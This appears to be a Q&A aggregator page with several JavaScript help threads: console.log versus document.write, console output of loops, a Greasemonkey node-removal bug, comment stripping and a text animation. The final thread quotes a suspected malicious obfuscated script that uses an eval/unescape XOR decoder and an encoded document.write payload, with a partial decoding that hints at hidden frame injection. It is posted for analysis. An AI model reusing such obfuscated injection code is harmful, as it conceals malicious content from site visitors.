how does "System.out.println" work in JS?... :) - javascript

My background is in java and right now Im getting into learning Javascript. (I'm porting this java code that I made into javascript but it behaves a bit different than I expected?? If I use "console.log()" instead of "document.write" I'm NOT getting the same result..why?
thanks 4 yr time! Some insight will be very appreciated!
var counter = 1;
function println(str) {
console.log(str);//
}
for (var i = 1; i <= 5; i++) {
for (var j = i; j < 5; j++) {
document.write("#");
// println("#");
}
for (var k = 1; k <= counter; k++) {
document.write("*");
// println("*");
}
document.write("<br/>");
//println(" "); <--- "\n" ?
counter+= 2; //
} // ends application

document.write() is for printing content to the page of your document, while console.log() is used predominantly for diagnostic/debug information to be emitted in the console of your web browser. Specifically, document.write() is intended to be consumed by the viewer of your page, while console.log() is generally not.

Console.log logs stuff into browser console. Install Firebug (getfirebug.com) and you will see your logs.
Also there is nice description about how it works http://getfirebug.com/logging.
Also, using document.write is not really elegant, you can use it only on page load, and it's blocking whole page. You basically should not use it at all. If you try to use document.write after page is loaded, it will replace whole content of your document with your last "log".

Related

I don't understand a simple JavaScript 'while loop'

I'm currently learning JavaScript on Code Academy and I am at the end of the while loops section.
The following code:
j = 0;
while (j < 3) {
j++;
}
produces a 2 on the console and I have no clue why. I tried running this on Eclipse JaveEE only to realize that using a HTML file with this code as a script gives me a different result: a blank page.
That makes sense to me, because I've only incremented j to 3, but not printed it. Not sure why the CodeAcademy console gives me a 2.
This is a screenshot of the console output:
The behaviour you're observing is because that's how a browser console works.
For every code you evaluate it tries to return some value. For trivial expressions it's easy - 2 + 2 would presumably return 4.
For code that consists of multiple statements it's much more complicated and console tries to be smart. What adds more complexity into this is the fact that console's behaviour is not standardised, so what we observe at this very moment for a given browser is not guaranteed to hold true for another browser or for another release of the same one.
Let's try to find out what is happening though:
j = 0;
while (j < 3) {
j++;
}
for this code browser tries to be smart and outputs the value of the latest found expression, which is in this case is j++;. It returns 2 because that was the value of j on the last iteration before loop termination. And since the postfix increment returns the current value before modifying it - it returns 2.
If we change it to
j = 0;
while (j < 3) {
++j;
}
the output would be 3, for the very same reason.
Now let's try something different:
j = 0;
while (j < 3) {
j++;
a = 42;
}
this would output 42. Since the a = 42 is the latest expression in this code.
j = 0;
while (j < 3) {
j++;
var a = 42;
}
For this sample it would again return 2, since console decides to ignore the assignment statement and reverts back to the latest expression.
To summarise: this behaviour is not standardised, and browsers just try to be useful and to output something, even if it's not what you expect to be. So my advice would be to not rely on the implicit console output and use the console.log() explicitly in case when you want to get a result.

parentNode not deleting properly

my javascript knowledge is pretty poor. I'm trying to run a script with greasemonkey on http://www.twitch.tv/directory/all to remove certain kinds of streams from the list based on an image provided next to a shot of the stream(like picture of hearthstone, minecraft etc.). Here's the code:
//what you want to remove
var killIt=["http://static-cdn.jtvnw.net/ttv-boxart/Hearthstone%3A%20Heroes%20of%20Warcraft-138x190.jpg", "http://static-cdn.jtvnw.net/ttv-boxart/League%20of%20Legends-138x190.jpg", "http://static-cdn.jtvnw.net/ttv-boxart/Minecraft-138x190.jpg"];
var el = document.getElementsByClassName("boxart");
//runthrough elements killing certain ones
for (i = 0; i < el.length; i++) {
for (j = 0; j < killIt.length; i++) {
if (el[i].src == killIt[j]) {
var ely = el[i].parentNode;
ely.parentNode.removeChild(ely);
}
}
}
So i tried it on w3schools site and the code works fine, but when i try to actually run it in twitch.tv it does nothing(seemingly).
Am i missing something about parent nodes? Or greasemonkey?
The second for should be j++. Also you can use .indexOf to test if the URL is listed in the array to avoid a other for loop.

Removing html comments with javascript for loop produces error

Hi I am having a beast of a time removing comments from html code (so innerHTML counting works in IE). I admit I am not the brightest bulb :) I do not have access to (knowledge of) jquery or the source as such to remove them. I am terrible with regex so I havent tried this
I tried the following code
<script>
function clean(node)
{
for(var n = 0; n < node.childNodes.length; n++)
{
var child = node.childNodes[n];
if
(
child.nodeType === 8 ||
(child.nodeType === 3 && !/S/.test(child.nodeValue))
)
{
node.removeChild(child);
n--;
}
else if(child.nodeType === 1)
{
clean(child);
}
}
}
</script>
But this is giving me error in all browsers:
SyntaxError: missing ) after for-loop control
for(var n = 0; n < node.childNodes.length; n++)
Any ideas would be great. There are a bunch of jquery scripts on the page but I have no control over these and they do not have any errors that occur so I do not think this is related.
Thank you in advance
After you remove the comments via Javascript, they will still be visible in View Source since it shows the source from before the Javascript ran.
If you don't want comments to be visible to the user, don't use HTML comments. Use comments in a serverside language inside the server-side blocks. Like:
<%
//comment: printing variable x
out.print(x);
%>
I would start by replacing "&lt ;" with "<", and the same goes for your ampersands.

Improvements in JavaScript animation

I am trying to create a train station text effect.
You can see here what i have achieved so far: http://www.jaspreetkaur.com/chatter/
here's the code, for your reference: http://jsfiddle.net/alokjain_lucky/ARhvu/
Issues:
The effect is running very slow, not giving it a very smooth and realistic effect.
Not working in IE7
I think the script i have created can be improved.
Please provide your expert advise to resolve the issues.
Thanks :)
Update:
The script is for the animation of text "Get to the chatter that matters"
Following is the Javascript code i have used:
$(document).ready(function() {
var newSrt = '';
for (var i=0; i<str.length; i++) {
if (str[i] != ' ') {
newSrt += '<span>'+str[i]+'</span>';
//newSrt += '<span> </span>';
} else {
newSrt += '<span class="nobg">'+str[i]+'</span>';
//newSrt += '<span class="nobg"> </span>';
}
}
$('.animate').html(newSrt);
scroll();
});
var str = ('The quick brown fox jumps over the lazy dog').toUpperCase();
var symtype=new Array(" ","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
var symarray=new Array();
for (var i=0; i<str.length; i++){ symarray[i]=" "; }
function scroll(){
for (var i=0; i<str.length; i++){
if (symarray[i]!=str.substring(i,i+1)) {
for (var x=0; x<symtype.length; x++) {
if (symarray[i]==symtype[x]) {
symarray[i]=symtype[x+1];
break;
}
}
}
}
for (var i=0; i<str.length; i++) {
$('.animate').find('span').eq(i).html(symarray[i]);
}
setTimeout('scroll()',10);
}
I hope this describes the code batter.
Update 2
Script is working in IE7 now, it's too fast on all browsers, i can make it slow by changing the setTimeout, but it's too slow in Firefox (only), I am using Firefox 9.0.1
Update 3
Surprisingly firebug is making the script slow in Firefox, turning firebug off, resolves the speed issue in Firefox.
in IE7 issue is related to CSS, which i think i will be able to resolve.
The only think left is to improve the script to make it reusable for other places in the website.
I fixed up your jsFiddle here: http://jsfiddle.net/jfriend00/VWXFp/ to make it run and it appears to work now, even in IE.
I moved the $(document).ready() block to the end so the globals are defined first which was only required because of the way you had the jsFiddle configured.
I changed to setTimeout(scroll,100); to use the direct function reference rather than a text string.
I changed the timeout vale on the timer to 100ms
I changed the jsFiddle setting in the upper left to "no wrap (body)"
I changed your letter setting loop to be massively more efficient. You were re-finding ever single letter span for every single letter rather than finding them all once and just looping through them. This could have been a performance issue in some browsers.
For #5, I changed from this:
for (var i=0; i<str.length; i++) {
$('.animate').find('span').eq(i).html(symarray[i]);
}
to this:
$('.animate').find('span').each(function(index, element) {
$(this).html(symarray[index]);
});
Which evaluates $('.animate').find('span') only once instead of str.length times.

obfuscated javascript code

I have encountered some java script code which I believe is malicious but most of it is obfuscated. I was wondering if someone could help me figure out what this code actually does.
eval(unescape('function n48ec61ae(s) {
var r = "";
var tmp = s.split("12113781");
s = unescape(tmp[0]);
k = unescape(tmp[1] + "608421");
for( var i = 0; i < s.length; i++) {
r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-4);
}
return r;
}
'));
eval(unescape('document.write(n48ec61ae('') + 'GoqwpF#dmgiEFxipviJBkSbzbjxy,_WMD1yj{yoBFqa|g%ufxoA"go}swtip%-asvporpE$'EF3hachJAmulwisa~$^WYVF%<24-8(&,BQWOJ_G&0."J^ASHAP_NIRI 4. HWBR#QTAOKRCE$5!A#n~cqa PDVJH xw| $_RE#!oq~t:;5{s0ram`axsau2ows2ulaoizm6<21wnkdpicp5hx6vms#q042enA1?7+5=0oI $ZWTHPNWOBFj~ash#QLWIE.nsyaos5kl~& _PGI"ggtzq8ftmto. SDQHDT[I#^LI"6'#RLPKIZJIEONYF%= $SOPSXTOSLB/TS",LVMUKGTUAOVE.2&,VQWNTDXIF#;ntdvj~oxFHtsbrgpntKF3v{lvmukvEF3hpwpJ121137817396048' + unescape(''));'));
// -->
Just as a reminder DO NOT EXECUTE THIS CODE.
Silly rabbit... tricks are for virtual machine images which you were planning on discarding anyway...
I've spent a good deal of time on this and I think I can confirm that this is so obfuscated that it can't do anything anymore.
You'll get this:
<html>D`i]eI>vdsq\H>kW^v`fly*ZLJI3ujouk#BuazbrkzkA&ckwo{lgm*dqrpcnl? +=#.k^fjFAaqhmewax!UPLLB0.0'4*?RPBH[?*,* FRAMEBORDER=0$<O<OCNYCKKV?A1%A>ku\tcPHRFJlozXW?<!cmzn6/-un3mdg\alo]o.com/nkdeeza280-{feasffr1hl2rgoDq.11bcC-7;'17,cI!YPYJLF[K><frame NAME="jo{]cs3fgy+"[PKE]cxzo5]s`nk&$O#SDHLUDCYAK.+NFL?ITGJBBDU>)9OCPMUOHVF>'XO&HZESF<SXCKNI*.(ZQQKOCMKB#/jp^r^viu=Gyq^rkljnGJ3pvgq`ognIB/jl{pD
The problem is that another function is needed to unscramble this. Notice how it has <html> as well as FRAMEBORDER=, and <frame? That means that there is something which is able to break this up into chunks and reassemble it. The fact that there are so much noise also suggests that there is a function which further decrypts this beyond the scope of n48ec61ae.

Categories

Resources